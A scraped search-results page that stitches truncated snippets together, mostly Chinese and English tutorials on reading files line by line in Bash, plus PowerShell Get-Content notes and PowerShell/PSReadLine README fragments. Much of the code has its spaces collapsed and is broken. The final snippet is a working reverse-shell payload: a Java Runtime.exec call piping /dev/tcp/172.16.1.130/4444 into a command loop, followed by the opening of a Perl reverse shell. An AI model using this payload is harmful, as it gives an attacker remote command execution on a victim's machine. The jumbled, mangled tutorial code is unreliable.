#read onefileline by lineforlinein$(cattest1.txt);doecho$line ;done; #whilereadsplitline by spacewhileread linedoforwordin$linedoecho$worddone;done<test1.txt #stringsplitor substring input=type=abcdefgecho$input; #get abcdefgecho$input |cut-d'='-f2echo$input |cut-d'='-f2#${variable:...
# 多个命令写在同一行上,需要使用 `;` 符号分割 while read -r line; do COMMAND; done < input.file ip-filter.sh#!/usr/bin/env bash # 写死文件的绝对路径 👎 # input="/absolute/path/to/file.txt" # 动态读取 参数 ✅ input=$1 # while IFS= read -r line while read -r line do ...
We are going through contents line by line to understand 创建一个名为“ example1.sh”的脚本,该脚本使用输入重定向和循环: 代码语言:javascript 复制 [root@localhost~]# cat example1.sh #!/bin/bashwhileread rowsdoecho"Line contents are : $rows "done<mycontent.txt 运行结果: 如何工作的: - 开...
In Windows PowerShell, we can use the Get-Content cmdlet to read files from a file. However, the cmdlet will load the entire file contents to memory at once, which will fail or freeze on large files.To solve this problem, what we can do is we can read the files line by line, and...
01 前言 在shell脚本中,我们经常看到以下的一种结构: while read linedo…done < file 可能不熟悉shell的人看到这个会有点懵,其实这是s...
whileread-r linedoecho $line done<filename While循环中read命令从标准输入中读取一行,并将内容保存到变量line中。在这里,-r选项保证读入的内容是原始的内容,意味着反斜杠转义的行为不会发生。输入重定向操作符< file打开并读取文件file,然后将它作为read命令的标准输入。
$ while read USER; do echo "Hello $USER!"; done < users.txt Hello Eric! Hello Kyle! Hello Stan! Hello Kenny! Cool Tip:Write a command once and have it executed N times using BashFORloop!Read more → Bash Script: Read File Line By Line ...
README Code of conduct BSD-2-Clause license Security PSReadLine This module replaces the command line editing experience of PowerShell for versions 3 and up. It provides: Syntax coloring Simple syntax error notification A good multi-line experience (both editing and history) ...
It includes a command-line shell, an associated scripting language, and a framework for processing cmdlets. Windows PowerShell vs. PowerShell 7+ Although this repository started as a fork of the Windows PowerShell codebase, changes made in this repository are not ported back to Windows Power...
r=Runtime.getRuntime()p=r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"]asString[])p.waitFor() perl 脚本反弹 perl-e'use Socket;$i="172.16.1.130";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("...